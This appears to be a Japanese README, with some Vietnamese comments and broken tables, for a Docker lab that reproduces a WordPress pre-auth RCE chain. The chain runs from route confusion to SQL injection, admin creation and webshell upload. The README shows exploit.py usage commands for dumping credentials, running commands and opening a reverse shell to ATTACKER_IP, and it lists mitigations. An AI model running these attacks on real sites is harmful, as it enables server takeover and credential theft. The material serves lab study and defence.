
WordPress Core Pre-Auth RCE — Route Confusion + SQL Injection を連鎖させて Remote Code Execution を実現
| CVE | CVE-2026-63030 + CVE-2026-60137 |
| 別名 | wp2shell |
| 脆弱性種別 | REST API Route Confusion → SQL Injection → RCE |
| 深刻度 | 緊急(Critical) — CVSS 10.0 |
| 影響を受けるバージョン | WordPress 6.9.0–6.9.4, 7.0.0–7.0.1 |
| 修正バージョン | WordPress 6.8.6, 6.9.5, 7.0.2 |
| 認証要件 | 不要(Pre-Auth) |
wp2shell は、WordPress Core の 2 つの脆弱性を組み合わせたエクスプロイトチェーンの名称です:
/wp-json/batch/v1)は、サブリクエストに誤った path が含まれると $matches[] と $validation[] の配列 index がずれ、次のサブリクエストが誤ったハンドラで実行される → REST API のスキーマ検証をバイパスします。WP_Query::get_posts() は、author__not_in パラメータが配列ではなく文字列で渡された場合にサニタイズされない → 生の SQL インジェクションが発生します。2 つのバグを組み合わせることで、完全な Pre-Auth RCE チェーンが成立します。認証情報ゼロから、HTTP リクエストだけでサーバー上のシェルを取得できます。
Route Confusion (bypass REST validation)
→ SQL Injection (đọc DB: users, secret keys)
→ oEmbed cache poisoning (read-only SQLi → write primitive)
→ customize_changeset (tạo admin mới)
→ Plugin upload (webshell)
→ Remote Code Execution
完全な技術分析は REPORT.md を参照してください。
ラボは 3 つのコンテナで構成される Docker Compose を使用します:
| コンテナ |
|---|
setup.sh を実行するため)cd wp2shell-lab
bash setup.sh
スクリプトは自動的に以下を実行します:
完了すると、ログイン情報とともに "WP2Shell Lab — READY!" が表示されます。
cd wp2shell-lab
docker compose down -v
# Kiểm tra vulnerability
python3 exploit.py check http://TARGET:8080
# Kiểm tra + xác nhận SQLi
python3 exploit.py check --confirm-sqli http://TARGET:8080
# Đọc user credentials từ database
python3 exploit.py read --preset users http://TARGET:8080
# Chạy câu SQL tùy ý
python3 exploit.py read --query "SELECT @@version" http://TARGET:8080
# Full RCE — chạy command
python3 exploit.py shell --cmd "id" http://TARGET:8080
# Reverse shell
python3 exploit.py shell --reverse ATTACKER_IP:PORT http://TARGET:8080
PoC スクリプトは Icex0/wp2shell-poc を参考にゼロから書き直したものです。 Python 3 の stdlib のみを使用し、追加の依存関係は必要ありません。
| 条件 | 要件 |
|---|---|
| WordPress バージョン | 6.9.0–6.9.4 または 7.0.0–7.0.1 |
| REST API バッチエンドポイント | アクセス可能(デフォルトで有効) |
| 認証 | 不要 |
| ネットワーク | 攻撃者から WordPress に到達可能 |
functions.php に add_filter('rest_batch_disabled', '__return_true'); を追加します。/wp-json/batch/v1 へのリクエストをブロックします。このリポジトリは、管理されたラボ環境における 研究、学習、CTF を目的として作成されました。 実システムへの攻撃には使用しないでください。不正なエクスプロイト行為はすべて法律違反です。
| イメージ |
|---|
| ポート |
|---|
| WordPress (vulnerable) | wordpress:6.9.4 | 8080 |
| MySQL | mysql:8.0 | 内部 |
| phpMyAdmin | phpmyadmin:latest | 8081 |